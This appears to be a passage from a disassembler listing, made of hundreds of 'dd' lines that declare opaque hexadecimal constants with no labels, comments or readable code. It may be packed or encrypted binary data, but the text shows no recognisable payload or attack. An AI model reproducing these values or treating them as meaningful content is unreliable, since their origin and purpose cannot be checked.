		dd 9A10AA20h, 0C2FE2659h, 96470844h, 7EE1BF01h,	0D4206668h
		dd 0A2100228h, 0AFF2E917h, 0F85A5B6Ah, 0D1232227h, 0AF6C8941h
		dd 11505E5Ch, 20558160h, 664BE704h, 0A943B104h,	5A3B38FFh
		dd 2FBB5897h, 85D95C93h, 41D3CF47h, 280E2497h, 3909268Bh
		dd 0F608CA32h, 0B44E8958h, 5C3C9AF2h, 41932E98h, 0B8042DE8h
		dd 5D694D49h, 38EE981h,	3694307Fh, 0EFB05644h, 646F532h
		dd 20D84E4Dh, 0BB00D201h, 52094010h, 133BE381h,	3118A02h
		dd 86134B61h, 65B4AACCh, 66B109F3h, 19C06AB4h, 0C082B6CDh
		dd 9439CB6Bh, 63B43EAh,	51F0911Eh, 0CB49C1DFh, 80E87F59h
		dd 6B549C68h, 49D046B0h, 27730493h, 52803BF9h, 590742C2h
		dd 0A377034Ah, 6B481308h, 8B6845FAh, 0E0F2FA1Ch, 0AA671E85h
		dd 1346C976h, 0DE74C96h, 566DA91h, 7AE40508h, 0E02ECDFEh
		dd 0C9C9427Eh, 356BCCE0h, 1E2B8A81h, 393C0CD7h,	3AF1FCD9h
		dd 5819508Eh, 6BC68786h, 5DEA1AB5h, 90522632h, 0E9C62904h
		dd 45EAC930h, 6CFCD22h,	26286F06h, 1FCA5B4Fh, 4BCA680Eh
		dd 859DFE17h, 0EA1172F5h, 28F16F4Fh, 0BFEB846Bh, 4E86619Ch
		dd 58C0F7F2h, 90E32238h, 0EF4CB53Ch, 9D925B20h,	5593A780h
		dd 9AA114C3h, 25E9400Bh, 4D6F78E9h, 0D4F04124h,	95E9FB7Eh
		dd 0C120402Eh, 7875BCDh, 0E979B9B7h, 5AF45070h,	0A1D4AD73h
		dd 7E063E4Eh, 0E8056100h, 7349353Bh, 9597830h, 0B9CEF6F1h
		dd 5C2233D8h, 37EB0441h, 0BF479268h, 4C085150h,	0DFE68B3Fh
		dd 0AA545FA5h, 60563F62h, 82CD1003h, 0F4EA3060h, 46480D15h
		dd 84BF809Dh, 4BDCBEC9h, 0C504B229h, 0A421D189h, 735286BDh
		dd 4C90498Fh, 0A21FBC7Bh, 59B349B0h, 0E4A86Fh, 57FEBE56h
		dd 5001541Bh, 0BF0EE5F0h, 38C99899h, 0D61292B7h, 0D2C2FE57h
		dd 0D306F531h, 681865D1h, 166D64A8h, 475B9D67h,	18124FBBh
		dd 62856DABh, 0C8BA4E4Fh, 4B49DEF0h, 61FC4FF8h,	587E9910h
		dd 494E008Ch, 0E7C14274h, 60099F07h, 8844CC04h,	6D19D113h
		dd 7B0C0B38h, 0B51A46C0h, 44E5BFF8h, 0FD840108h, 2020906Bh
		dd 6C1D71B7h, 0E68119F5h, 6568291Eh, 12AF182Bh,	382E78BAh
		dd 3210410Ah, 0AB74592Fh, 4D034AA4h, 909DD2Fh, 7E6DA672h
		dd 0F1B6F904h, 7DBF3AD0h, 5C0D81F4h, 16ABE950h,	0C31BD06Bh
		dd 8C2F5688h, 74A1D775h, 0ED3EF9E5h, 0E0B23455h, 14BD3FE3h
		dd 79D8FDCBh, 97C2093Bh, 6330CC76h, 97321668h, 0E526D218h
		dd 0B97BB89Fh, 274F7888h, 135F2944h, 9DA1E641h,	129E74F8h
		dd 2A9905E0h, 14014A1h,	33048EF8h, 161ED34h, 0DEB3F666h
		dd 122EAC71h, 0FECAAF1Fh, 13417CC9h, 735DF683h,	17BF268Ch
		dd 0C16FE899h, 5520478Fh, 0E17834F4h, 2DCDF7C2h, 6A4557A5h
		dd 0D8684AB3h, 9828AB0Ah, 880B4043h, 4F1DFD58h,	9A66B4F1h
		dd 14E5A1CBh, 35FC5913h, 3627ACF6h, 0A196CEE8h,	9470A978h
		dd 4C7F837h, 0C8AAA35Bh, 0FFECEA29h, 0F9575CB2h, 0EFD54BA2h
		dd 52CCA5BAh, 0FF5EF32Fh, 85D4F718h, 0F72D1CC9h, 2F5EBE41h
		dd 0F700AF29h, 7CD81141h, 42F10568h, 0E87FDC5Fh, 73A105C5h
		dd 0C4014AADh, 0D4C2863h, 7926E09Ch, 0BF4F2496h, 0EA1B82D5h
		dd 18980A04h, 8D9E02Fh,	9C2C26C7h, 5AC80715h, 0D5766DFEh
		dd 2283252Eh, 49B1102Dh, 80F32802h, 0FC7976C3h,	45CA9F62h
		dd 6807306Dh, 7BB76D63h, 2AA63099h, 0E4A0A862h,	0EDBCEBE3h
		dd 29D83A82h, 3A025FE5h, 1B4443C5h, 0BEBED396h,	0F82096EAh
		dd 4A42BC20h, 0B86D5E07h, 0E8AC09C6h, 75A5DDB7h, 4656C0DFh
		dd 60B7C67h, 5C5445E9h,	0DA05E0ADh, 565A817Eh, 38E1B2E1h
		dd 28F27783h, 21813362h, 2E5031D7h, 16BF6E00h, 0B51AE747h
		dd 75E9BEC3h, 89567C93h, 0D778E208h, 4DF67BE8h,	9937B013h
		dd 0EE1212AAh, 178C5E90h, 0CB015FE1h, 341E1317h, 0F3B61FC8h
		dd 85CCC043h, 0ACEBC50Eh, 9D69085Ah, 0A9EB987Dh, 0D00CE13Fh
		dd 51504859h, 70F77982h, 7EC45405h, 0E2AE5C01h,	6E0C417Fh
		dd 90EFA535h, 615A0D86h, 0F7B80B00h, 5F49EA5h, 72C130Ah
		dd 135F2464h, 4EC8FC08h, 8B934AF8h, 1C2D5825h, 3AB00FDBh
		dd 5BEF3A9Ch, 35B1A8EEh, 0ECED4089h, 9177F925h,	0D8F6E91Dh
		dd 0F13FFD1Fh, 46992F7Ch, 16077660h, 0E8287B36h, 8066125h
		dd 0ADD814Dh, 0EC3551F0h, 0A4FA09C5h, 0D157DBBFh, 0C7FD6B61h
		dd 13772C7Eh, 7894EBDFh, 9D84682h, 0A5E66384h, 5223D40Ah
		dd 21D2B24h, 6A0D9200h,	17F02D1Fh, 0A449B13h, 18070528h
		dd 31E33E5Eh, 21E1E91h,	0D64EED0Bh, 0EE056960h,	3E8CE2CDh
		dd 51762768h, 2085820Eh, 90DD2117h, 10BF63h, 0B862F818h
		dd 718170E2h, 26BE38FEh, 203BB01h, 0E42161BEh, 0BF588064h
		dd 0D84E2CF8h, 8FB7D480h, 0F23BF388h, 0C680C013h, 95E6D0FFh
		dd 0A3F62C40h, 7DF0882Dh, 6EE0D616h, 33CC8082h,	0B83ECD5Dh
		dd 0E3104113h, 79FE9DB2h, 0E2947427h, 0EC241BB0h, 0EAA2E397h
		dd 93284613h, 635E253Fh, 93C7C35Ah, 0F0093CC8h,	560BC620h
		dd 5FD269E9h, 86810744h, 0CD80043Fh, 4A487CD6h,	0F82BE1BFh
		dd 0AB95A07Ah, 0C093E288h, 9DC788F3h, 0FFBDD4D3h, 81DD3362h
		dd 59C8FDEFh, 70E4BA52h, 706F8626h, 0A8FFAEBCh,	62D9EA01h
		dd 0BF301558h, 3AC4B5D3h, 0A8FD6FF0h, 0B912FC10h, 83B93768h
		dd 9395091Ah, 0D84901C8h, 0BD9E6880h, 6C94B71h,	2FF566F7h
		dd 3A512DD0h, 3365670Ch, 0B95E02F7h, 8CAA7DCFh,	395245C0h
		dd 292EB701h, 5848E9F9h, 7F240222h, 6CF825F7h, 517E7195h
		dd 6B002F8Fh, 0C55FC35h, 0B005057Bh, 0C25B4861h, 0B9F166C0h
		dd 0E842C1CAh, 58EA9198h, 0FC06CACBh, 0AD010423h, 6E70F11h
		dd 600AA835h, 5BF5517Ah, 5F5FD474h, 0B03D0C1h, 1F07BA00h
		dd 0B41B12Dh, 27A2FB17h, 8039C718h, 0CF3E5B81h,	1FE91D78h
		dd 88BD7070h, 97F87F0Eh, 0C64B0F5h, 3947207Dh, 8824590h
		dd 56F6E61h, 0D9B980BBh, 0CBE05A5Bh, 0FC596628h, 0C3E9B309h
		dd 8E43512Eh, 0AF1332A3h, 61C101A2h, 0F8696D77h, 8FFE10F7h
		dd 0A4886EEDh, 80DD9505h, 89E90816h, 0C2A3C075h, 85E62B35h
		dd 5AD02912h, 26A5D801h, 0E86A6930h, 0CAB42FA0h, 7E00DFA0h
		dd 0A3149C2Dh, 0FF30777Eh, 0BEF14B7Bh, 0B8325B17h, 97F2096h
		dd 38D4685Ah, 0CE199655h, 0C53E727Ch, 0B8D5E948h, 85092848h
		dd 0FA00409Dh, 99CD0B66h, 8255CE31h, 7ACCB9DEh,	0BD50778h
		dd 0C4574B38h, 6613BE78h, 0C9A7AB3h, 848BEFDDh,	0FA99E5E9h
		dd 0C63ED18Ah, 2720A7AFh, 883E42BEh, 0BF51F4Ch,	0CC2AA5h
		dd 132FCE79h, 0F72709E9h, 0C45046D6h, 0E723CCF9h, 9B26C16h
		dd 9AB679ACh, 2B445709h, 0D882F53Bh, 0D3F758EFh, 0B05C1EBDh
		dd 0C322D37Ch, 3D877E5Fh, 1EB32170h, 3FCB0781h,	670B060Ah
		dd 64A58FEBh, 5049F8E7h, 580CED07h, 0E47192Dh, 0B5031205h
		dd 82065851h, 0E6018530h, 5FFE0958h, 0C2BCDEF7h, 90E90586h
		dd 3505AA66h, 0B1715B26h, 2122F4FBh, 3A980512h,	1A1AB3FFh
		dd 5FC399DAh, 6867B3F9h, 25ADF2BEh, 0C73B0396h,	888C346Eh
		dd 4F4C0754h, 0F4E22578h, 85C252B4h, 50E983B8h,	0F5F948BDh
		dd 1961180Dh, 5CFE0C65h, 0E92CB304h, 0A6A929E1h, 0BB613484h
		dd 111C7C61h, 303A2500h
		dd 0D055B327h, 0E5249758h, 2F66985Ch, 4CDD2913h, 1B4AF901h
		dd 0B2404EF7h, 6056352Bh, 1E7187Fh, 0CFF87DCDh,	21052E14h
		dd 32C702CBh, 0E3427E5Ch, 0E090CD73h, 0BC1F2A2Eh, 22FC029Bh
		dd 94403B23h, 2705F326h, 5AD731D4h, 0C7839104h,	9E4D04EFh
		dd 845313FFh, 0CD3DA5B6h, 0C201FCCEh, 442618E9h, 0A3020E3Dh
		dd 3DF824Fh, 0B8A2CC1h,	0B17CA8AAh, 51EEBD00h, 4829DB96h
		dd 0FC2D05EBh, 5E999077h, 0F728C50Fh, 0F2B40FDDh, 0AA9713F7h
		dd 0CD2A4439h, 0DEF22E2Fh, 87F9668Bh, 0D409D20Bh, 0BEFE6451h
		dd 8C5E9AE2h, 0C204B3FEh, 0FE4CC380h, 0B2529CC0h, 0EDD3E085h
		dd 596CB270h, 55118EB3h, 0B8FC9237h, 5C40F089h,	0C209BCBBh
		dd 7F29739Dh, 35F89EA0h, 0F7792D33h, 2D3204D4h,	70E1D6D8h
		dd 802664B4h, 0E30276F4h, 728E42E9h, 1B00F7Fh, 9965236Eh
		dd 3CF6F2BDh, 5ABCF50h,	0B3F030D1h, 46C0620Ch, 88B2F118h
		dd 2500DC27h, 2BDE42CAh, 4F6B030Dh, 0E72D04A0h,	3007B0A9h
		dd 75138E3Bh, 60454EAFh, 30AB0D42h, 0BF67EF61h,	1BECFCB8h
		dd 869E5B5h, 25008431h,	4FF44A5Bh, 296E0935h, 0D68260E4h
		dd 2D007682h, 7A1A2706h, 0A1815B61h, 538A7BB4h,	0A1F5A735h
		dd 2BFA3095h, 0B6521AC2h, 0BC29E103h, 4155D02Eh, 954ABFE9h
		dd 0C1536BD3h, 0CF2E94D9h, 10C75885h, 855ECF6Dh, 0CCBF01F2h
		dd 7028B33Bh, 212C5F5Eh, 8F139DC8h, 2D682428h, 0FD93AA8h
		dd 5CE6498Bh, 0F083923Ch, 5E25E9Ah, 4A7DDB01h, 2DD8015Bh
		dd 0CB810744h, 7FEC61EAh, 0D0F73996h, 0D093FFCCh, 16ADCE93h
		dd 0E926C704h, 580292BEh, 0E404A42h, 723F07F0h,	8E413CCh
		dd 5AD826BEh, 0C88AF70Fh, 0C0A5CB4Eh, 955D54A7h, 0FFDA72FEh
		dd 659860E4h, 677EA00h,	283A0D05h, 0A6726F36h, 0DF319C00h
		dd 7EEA3550h, 7C6B0A27h, 9ADE0987h, 0D259A22h, 0F1829BF7h
		dd 0EF7392CCh, 0E6815E07h, 0ECDB1432h, 45F601B0h, 4BE974B7h
		dd 85D49435h, 0E850D641h, 17E9E00Ch, 0E6F7C411h, 0D9B9AF02h
		dd 36B15109h, 3BCD58DDh, 8F5865C9h, 62C1BC4Ah, 0E328AB18h
		dd 41F89A48h, 58FA6E26h, 193E20A6h, 59EA881Ch, 7667EFDDh
		dd 0A3ED8950h, 79C2A7D9h, 0D78803EBh, 2B9D63B9h, 80500149h
		dd 3C32BCC8h, 976EFC28h, 0E3074672h, 53AF5724h,	3002F360h
		dd 872F51E6h, 2764FFF4h, 0CA747195h, 0E741EB81h, 32A94F3h
		dd 6BB2E9D8h, 98F14903h, 0B255C004h, 0B3F85FEDh, 27C8F8B5h
		dd 0B2C66340h, 0A988C233h, 9091F9DDh, 0D094E72h, 8CF4F82Bh
		dd 2E0F483Eh, 21005445h, 0E94AE04Fh, 3CAE6036h,	0E64C91BEh
		dd 0F7293014h, 73E705E5h, 1ABB026h, 0EC1A16D9h,	651E31F8h
		dd 36747FF0h, 53AE1AC5h, 0E4444A0Fh, 8B15BEDDh,	0EE4C5940h
		dd 806A6B07h, 0F174E549h, 39BF3BCCh, 59A83F60h,	8F09A925h
		dd 0DD27AD54h, 365FEB1Bh, 0ABD689A2h, 5D299361h, 13B15C03h
		dd 0A8CA7F15h, 0FE6A8412h, 1136CE3h, 0D62DEBFAh, 7AA9293Bh
		dd 0BF9634F3h, 4009DFD1h, 6AF8A62Eh, 0AB00CAB1h, 4878EA45h
		dd 5C35090Dh, 0CB211AECh, 20292D3Bh, 475EC262h,	975C6B88h
		dd 685CC296h, 0D2ED48ECh, 3D1204F9h, 2C89ABEBh,	0AB8B10E4h
		dd 0AAF29B5Eh, 0D37177D0h, 5DAB1689h, 0C20B5451h, 27666558h
		dd 0F7099356h, 0A61B7DDAh, 0E160C00h, 0BB533CB6h, 7C1F1264h
		dd 0A9B0FB1Ch, 78D348F7h, 90B7C344h, 17D02D5Dh,	44CF00F6h
		dd 0C8AB5835h, 0E527000h, 3FBA09DBh, 0DB6204B1h, 483022F0h
		dd 5873E9F5h, 172F1EAEh, 92545A58h, 0D4BD5F8Ah,	7DE8E20Eh
		dd 0CEB1C06Bh, 7E09636Ch, 0E980034Eh, 2D02FAB8h, 0D0FE3C20h
		dd 285C260Ch, 5E042EACh, 0BEB6C264h, 77F660C2h,	0B18C108h
		dd 9E65D301h, 0FFDA6B84h, 4AF872BEh, 11639880h,	5E9F7892h
		dd 6E0430Dh, 89C1FF3Eh,	0DE090C07h, 8108A0E8h, 69964516h
		dd 8B34FC66h, 0DCDA898Ch, 0ADF12F54h, 96AD5ACAh, 66812F4h
		dd 5319320Dh, 2A1589C1h, 412D5B03h, 0DD2EBA2Bh,	70BB562h
		dd 0A816E3FEh, 7F109CBFh, 2B9E440h, 3FB74DF6h, 0EC424C29h
		dd 33842B61h, 0BD550117h, 373C6CADh, 0EAD7F06Fh, 55304B7h
		dd 0E88AA1EAh, 0DD92C125h, 0DC53260Bh, 0BCC0FD5Ch, 75C54A18h
		dd 98FE3E48h, 92EDF677h, 0E9C26F1Dh, 4A1A605Dh,	1DC12522h
		dd 88FB80DDh, 1969F101h, 447C62E9h, 5FBB4059h, 575BA845h
		dd 804D7E5h, 0D6CEA9ABh, 679E57BCh, 0A2141AD7h,	9753036h
		dd 29271B80h, 0FC9D3237h, 90992E5h, 41F4E364h, 91719627h
		dd 0F6E9617Eh, 2DC10482h, 0C1040C1Bh, 2E9F92DBh, 0F8FB7F49h
		dd 8B6C9D92h, 8EBE5D4Ah, 908720BDh, 5EDDA8EEh, 12D1A040h
		dd 2CD93E25h, 0F26231A5h, 717FD45Fh, 0A62A0D29h, 72B712A3h
		dd 0B15EE8E9h, 0C6D9D35Bh, 0E1E51211h, 2C075A47h, 350D5840h
		dd 0D8494D18h, 0DD2A6121h, 29D3EC61h, 26E641CCh, 9D9E5AE2h
		dd 0FD956A40h, 0D2D1B2EFh, 40CE2BD8h, 0B72F685Ah, 0A5487B4Ah
		dd 61DE048Bh, 5710700h,	80AEB8E9h, 144ED668h, 0AA8698A9h
		dd 739A1348h, 957DD633h, 0FE8EFAC3h, 7AD62D02h,	6DC77772h
		dd 0A283E904h, 0D668690h, 0FC684AF6h, 0FDFD27BBh, 0E37DFA29h
		dd 6527D962h, 97EB6581h, 9D452038h, 43496650h, 5DA07776h
		dd 7477EAF5h, 440C6360h, 9F52DB45h, 0D35122C0h,	8586C6B5h
		dd 0C44C174Bh, 42A2FB47h, 7645B9C1h, 9AE2C5Eh, 49D0F8E9h
		dd 2D848CBCh, 8058C531h, 41201926h, 240B655Ch, 50AF2B5Fh
		dd 4A73F22Ah, 66D1DD60h, 0FEE91716h, 0C1BAB580h, 71943D17h
		dd 0E944CD16h, 0F47015A1h, 275817D8h, 0A896A6F7h, 0BA52C057h
		dd 2F153D6Dh, 0BF5A4A4Dh, 888DB01h, 1AFFE986h, 2E78D623h
		dd 0C2E4F19Ch, 480C8182h, 276B2790h, 9779D9C1h,	3B2DE8C7h
		dd 172FF861h, 7503EA05h, 0E7816721h, 98E3C620h,	0E9DB097Eh
		dd 1A758E87h, 0A978FF9Fh, 5D6CB127h, 821D0D40h,	97CBC49Dh
		dd 55847AF1h, 8CB51568h, 812CBB2Bh, 0FE524A5Ah,	58E91760h
		dd 0B3DCB5B3h, 0CA7E8F59h, 3B7810D8h, 442D4002h, 4363C7A8h
		dd 0F37DA09Eh, 0B51C579Dh, 2FCB02BDh, 2D85EC38h, 0A7C63E9Ch
		dd 0E570F516h, 8E037EF8h, 0E9745F31h, 3C28A8DCh, 392F775Dh
		dd 1E58A266h, 0D1BAFD03h, 894B4F5Dh, 0CF77AEA5h, 9EE985CCh
		dd 0A999AB28h, 72514623h, 0E9A1E328h, 0F1FDD659h, 0E24B2412h
		dd 0C6D780FBh, 368327A3h, 9B2CF4B0h, 0C2B911A9h, 84D13984h
		dd 12081239h, 0E15FFEFAh, 0E4EBCA92h, 0B09BAB8h, 7D0E81EDh
		dd 0D8E9B38Fh, 537479C0h, 223EF826h, 0F3368501h, 55CC2912h
		dd 5FA724E9h, 876652C8h, 7BE908C3h, 5124003Ah, 0E5C0D7B5h
		dd 0C57A8008h, 86E0E7B8h, 0C3FEDD0Eh, 0EB9A9C30h, 0CA744208h
		dd 84C1D9B0h, 0BAF9F766h, 797E491h, 0E790EE15h,	9F5034E9h
		dd 0B00940D9h, 0BEC955D7h, 5DCD3E6Ch, 0ACEDA8E4h, 7D30BABh
		dd 0ABD62734h, 9F396758h, 0E957372Bh, 0A73E8918h, 35AF5A67h
		dd 7B0BDDA0h, 92005BFCh, 5812611Fh, 699ABDE9h, 395AE7EAh
		dd 1C49FEDh, 9A8CECFh, 77286ECCh, 4909EA80h, 0E9273A5Eh
		dd 2C4A402Ah, 74D8E0D0h, 97F4F604h, 60EF43C9h, 46608F98h
		dd 59206E0Ch, 0C765CA49h, 0BB530A08h, 0DF1C3F14h, 0A58899E9h
		dd 0F0BF1595h, 84100FF9h, 511CA457h, 0A19E25B9h, 48CECBDh
		dd 116A9AB8h, 6FB8AF1Bh, 0EA8E1484h, 5EE747CCh,	9576BEECh
		dd 0B69A64Eh, 1A88C201h, 0BA59B704h, 0FDCA0A99h, 0DDEB3471h
		dd 3E2D5FA2h, 8E270B64h
		dd 2C2D1455h, 0C2CE6F3Ah, 105D895Bh, 8240E822h,	0F1029BABh
		dd 19426410h, 509CCCDFh, 4BF32817h, 0CB44BE64h,	21BA4D8Dh
		dd 3E6659BEh, 38E06604h, 237B0513h, 0CFA54B4Ch,	0E13B13F5h
		dd 0B8365BB5h, 37C56879h, 18DC2DE8h, 0BCC66CA7h, 545D7A89h
		dd 38A16218h, 33CC73DDh, 5F0756BAh, 671037CFh, 8BB98189h
		dd 0E1C6FBC2h, 23819F16h, 0F44C6EDh, 0EAC97B4Bh, 0B88FEF30h
		dd 81CD01F4h, 655AFCC1h, 71EC2E13h, 9F5F0840h, 97BD3054h
		dd 458C94BCh, 0B65E4BD8h, 64AB4E23h, 84A9BB08h,	0F6E952A0h
		dd 6B9B12BAh, 0A1EE933Dh, 8401114Ah, 68421D44h,	0E0A267C7h
		dd 0BB009996h, 64067578h, 0EA55E566h, 4FF97F39h, 5D79093Ah
		dd 27081E7Fh, 0DFD32C68h, 0A537B324h, 7B7C42E6h, 0FB774E35h
		dd 0BDCE158Ch, 0F57E7FC2h, 404012Eh, 16E46664h,	55C9AA0Ch
		dd 685D3C89h, 2D3A04FFh, 84DE03EDh, 95274B0Ah, 0F26ED953h
		dd 8739E87Ah, 6867B5B3h, 43F26B07h, 8BA7D925h, 445118E0h
		dd 0BD0AE820h, 0F06C732Eh, 5808C194h, 63B15AC3h, 0C339612Eh
		dd 0D7EBC1EAh, 0EA595497h, 4323EC45h, 4EE3F4BFh, 7026B928h
		dd 713E802Dh, 57AD89A6h, 0A7BF9E74h, 0BDA1E01Bh, 4D2C1665h
		dd 0B0C3BB74h, 0C5811F2Fh, 57A20BD7h, 5CB00C10h, 0F7F343CAh
		dd 0CCEBDD16h, 50BEEECh, 7F6F703Eh, 8093262h, 0ED6C3FCCh
		dd 765F323Bh, 0E52D4B70h, 5B0803A8h, 0EAB7F6F8h, 2B50DE2h
		dd 71F4BB45h, 212F3C05h, 907E6789h, 0C39ACF50h,	4BD4C663h
		dd 95283FEBh, 54B508EEh, 0E4E978FDh, 62BE615Eh,	34573B24h
		dd 0B0DA602Dh, 49484AC7h, 7FBD115Ah, 76390841h,	71C12A98h
		dd 645D993Dh, 5003B9D8h, 80D8B151h, 0FAB62FF1h,	0CC88003Dh
		dd 9AE9D4F6h, 5B28C462h, 34B6AB01h, 745EC600h, 0EFE9721Eh
		dd 0D740CF4Eh, 4A22D3C2h, 0F48980Bh, 53F12D82h,	5C43CD80h
		dd 0C1241FF8h, 84397DE5h, 23D41A47h, 4AD340AEh,	0E928344Bh
		dd 1E5E2927h, 0AA054AC2h, 821BCF46h, 1EB13B26h,	0E209A293h
		dd 800D2F13h, 401BBE80h, 2D7D0093h, 0F4B2ED6h, 7FE21005h
		dd 0F2F54C51h, 0E9560781h, 875F6486h, 40244716h, 0F3BD2DBBh
		dd 5C51158h, 18D77ABEh,	3926EFC1h, 0EAF02DE1h, 0B1E3F57h
		dd 129C8A50h, 0B8581966h, 0D0EB9721h, 63836A5h,	0B3E9CC13h
		dd 0B73065A0h, 808239E5h, 400855C2h, 0C18ACB9Bh, 940E83DDh
		dd 39B6E86Ah, 0DFF82BCBh, 61C66090h, 4A65ABDDh,	0A2F1604Fh
		dd 0D14380EBh, 0ECE5E37Fh, 7F61630Fh, 410C54D4h, 5E792030h
		dd 0DFDDE3F6h, 0C64C59FBh, 4E1C3D88h, 4E46C25Ch, 60FC0DE4h
		dd 5866A1C5h, 1AB27BF8h, 0DE87F9A3h, 176A8BAh, 0C9D1090Fh
		dd 285921EBh, 0A9745AF0h, 0AD683958h, 0D95DE9C0h, 0C7CA5B59h
		dd 0B29BFB97h, 0C206BC5Eh, 75FF7E02h, 0E9782874h, 0A0560B1h
		dd 0BD7365BBh, 2AA8414Bh, 0A88D572Ch, 0BED52528h, 43A932FFh
		dd 26D984E9h, 0D6FC717Eh, 7FB90059h, 73920133h,	457EE181h
		dd 75806F58h, 167A3D82h, 1CCF01BFh, 3801E6D1h, 228A3F0Bh
		dd 0CD0A440Eh, 402CBBDEh, 16509F4Ah, 5FA64F7Ch,	0A442E685h
		dd 2A406B53h, 0DF40EB8h, 0FE6311ADh, 25E81C79h,	54EE14E2h
		dd 0DD5AD2B2h, 0B2FA1184h, 77AE843Ah, 72AC6802h, 2B75A6CCh
		dd 0CE5F1BBFh, 0FAD128ECh, 85934F48h, 3CCAAE3Eh, 4206D22Eh
		dd 0BA003417h, 48124C56h, 0AC09B81Bh, 0EF50EE5Ch, 0CC43E409h
		dd 682553Dh, 94FF86A8h,	0D082A1C5h, 0F4113501h,	3DBC3924h
		dd 0F61C2C09h, 0CC69EF8Dh, 5411B013h, 207DA776h, 0C1132F3Ch
		dd 9B8B05E0h, 7841F106h, 0AD2FE21Ah, 74E793Fh, 0BE0A2546h
		dd 0B816757Dh, 3CAFF44Bh, 0C032E912h, 72583063h, 4DA26490h
		dd 2A16EA5Ah, 0A53901FBh, 2A22E410h, 16FA2413h,	0E5EBEC4Ch
		dd 50B8D8EBh, 6100BEECh, 0A02D79C6h, 907E3E23h,	9EF09A1Dh
		dd 13D42547h, 0A11525Ah, 514D1C57h, 65314CDh, 546DC10Eh
		dd 51813E2Bh, 0D83F30B6h, 6813D101h, 2BCD119Eh,	3B360F06h
		dd 5C2A58F6h, 660220D6h, 0CB5056B5h, 95E8C677h,	0E94141F6h
		dd 0BA2BC45Bh, 575C8762h, 643F9F6h, 8A2D1329h, 16AECE43h
		dd 25EFD828h, 2C7044E1h, 0EC1D1239h, 0BF570330h, 85471882h
		dd 67DB18C5h, 0DD30042Dh, 9585D729h, 4E0CE201h,	1CE38AECh
		dd 78A9AED4h, 86903AB2h, 8F12F581h, 0A0BE3035h,	50285653h
		dd 4295DB55h, 50425DC1h, 8BE1D3D5h, 0B39A4FA3h,	1E7D984h
		dd 477F25BEh, 5546B888h, 33066613h, 20FF88Ah, 805DB551h
		dd 4BD769C6h, 0F426AE46h, 0C0D33DF6h, 0DEB0063Ah, 2871B12Ch
		dd 7D20CE69h, 1FBAF37Ah, 0EC63792Fh, 4FDD2F27h,	0D93733D5h
		dd 63492CDh, 1E5A1225h,	3076013Dh, 4053F356h, 622F1FBEh
		dd 0FA0B31E0h, 720DDBE9h, 742B093Fh, 4C003899h,	3ACA5659h
		dd 0D6D00125h, 1D4EC252h, 5280162Dh, 2B710BE0h,	8B5F37E9h
		dd 680AB5B3h, 0DAD8483Ah, 2BDCC861h, 4808EC65h,	0D8010ABCh
		dd 0EB010AFh, 0F92C580h, 0A69D44DDh, 0D67DB8ABh, 0A26F12AAh
		dd 60E81935h, 0A56AEAD9h, 0FE0CA738h, 0ACE98B47h, 0D02958C0h
		dd 53A92D5Eh, 62F25A3Eh, 5EF3B539h, 618255DCh, 0F2328E63h
		dd 0BDE913DCh, 0C44D3467h, 5E8BF82Ah, 31CA13F2h, 0ED5E49E6h
		dd 6F7C8488h, 4D46C405h, 0E8F3CD80h, 189D0504h,	32809AEEh
		dd 8306C3C4h, 15E98700h, 8023B1B0h, 4A8B753h, 905C2CABh
		dd 50520B7Fh, 12AF76B0h, 7BD8F74Ch, 1A53BC25h, 748E89ECh
		dd 296A8332h, 0C054113h, 34B75407h, 0DD1DF0BFh,	71EE7B5Bh
		dd 3E60EE9Dh, 0E69726A2h, 40F72736h, 5B5368F8h,	51A0225Bh
		dd 0BBF8370h, 56B9DDE2h, 27132A6Ah, 31E90A68h, 0D13A3092h
		dd 52C22FE2h, 0F5F34056h, 9091A685h, 0E7DB4A35h, 446809C3h
		dd 0EDB3B025h, 3E1036Ch, 234EB235h, 1F8AC4D4h, 4036D6F5h
		dd 72690F4Fh, 0A04354Ch, 89C71BD5h, 4BCE8BFAh, 0EE0C00FFh
		dd 2B4574Dh, 7902CAB8h,	0E9FF6B76h, 27CDFE98h, 5602A056h
		dd 7D0BCF68h, 81B335A2h, 93BDEBDBh, 1313180h, 11E8C35Ch
		dd 6275AA30h, 0F144DD09h, 10028C4Fh, 0DD31C268h, 189B746Eh
		dd 0E0F2E904h, 2D6B190h, 0ED457AA1h, 970C12Ch, 0CE2C5AD0h
		dd 4E045187h, 555B32C7h, 965D8240h, 0F5BE8069h,	96E83A78h
		dd 5815A34Fh, 716F2574h, 615689B8h, 0B44ADAC6h,	945AAAF0h
		dd 3B5B598Eh, 0DAF75202h, 5A91C087h, 5A79357h, 44E0ABBh
		dd 94EF0B9Eh, 0A41184F4h, 3913DFAEh, 0E7BFC4BAh, 7DF84B86h
		dd 0DCD0EBD2h, 0B19A91E9h, 0F39074Fh, 0EB89A21Dh, 45D4761h
		dd 7809EB82h, 0CB889844h, 61D68A42h, 0FE5D704Bh, 675F5439h
		dd 0C0124FB1h, 0D128971Ah, 0AC3B2081h, 0F0E0791Dh, 62C6109Fh
		dd 0F529321h, 668F5D6Eh, 0AF3A03A5h, 2758A38Bh,	0B2058204h
		dd 1DE1BB4Fh, 0D7810805h, 729BC8Dh, 32F0B7Dh, 14804C06h
		dd 1835BE56h, 4E4F211Fh, 891FE6C9h, 0EE07009Fh,	48A22257h
		dd 7205647Eh, 0AF89A80Dh, 4558A182h, 0C8ADBE80h, 0E247B255h
		dd 0C5DB75FAh, 4ABAE961h, 0E7965F2Fh, 705F93E1h, 0DCBFC62Eh
		dd 0EE4FE24Bh, 3862AC07h, 8E1255ABh, 7620EAF0h,	0CA2909E3h
		dd 0E87ABB53h, 5904E195h, 4B4892Fh, 4ACEEEA3h, 1D15120Eh
		dd 0D4075249h, 9232A622h, 5224272Dh, 1FDDE49Fh,	9E4CD80h
		dd 4B92D6E2h, 6393857Fh, 0BD89AEE0h, 0CFF50489h, 0AE909C0h
		dd 4C8BB5F6h, 0F2B2E606h, 0BF587018h, 63480D73h, 7753F7E9h
		dd 4A53D243h, 0C475A24Fh
		dd 97EDD601h, 0E003C689h, 0BB84351Ah, 0E9C286B7h, 1BD30CE0h
		dd 3069163Dh, 0E0CD28AEh, 48F71154h, 0A402D04h,	1EFA1946h
		dd 6DE443EBh, 2AC7C629h, 0D4402508h, 0FD7E394Bh, 954CF0B7h
		dd 0C270E44Ch, 2533AC58h, 306B843Eh, 897FA2BEh,	0C0E07E51h
		dd 0F6D08667h, 0C309DA6Eh, 2800EE9h, 7F39B92Dh,	8277690Bh
		dd 0C4D7A059h, 10800930h, 0A54D5D9h, 91945725h,	518889B3h
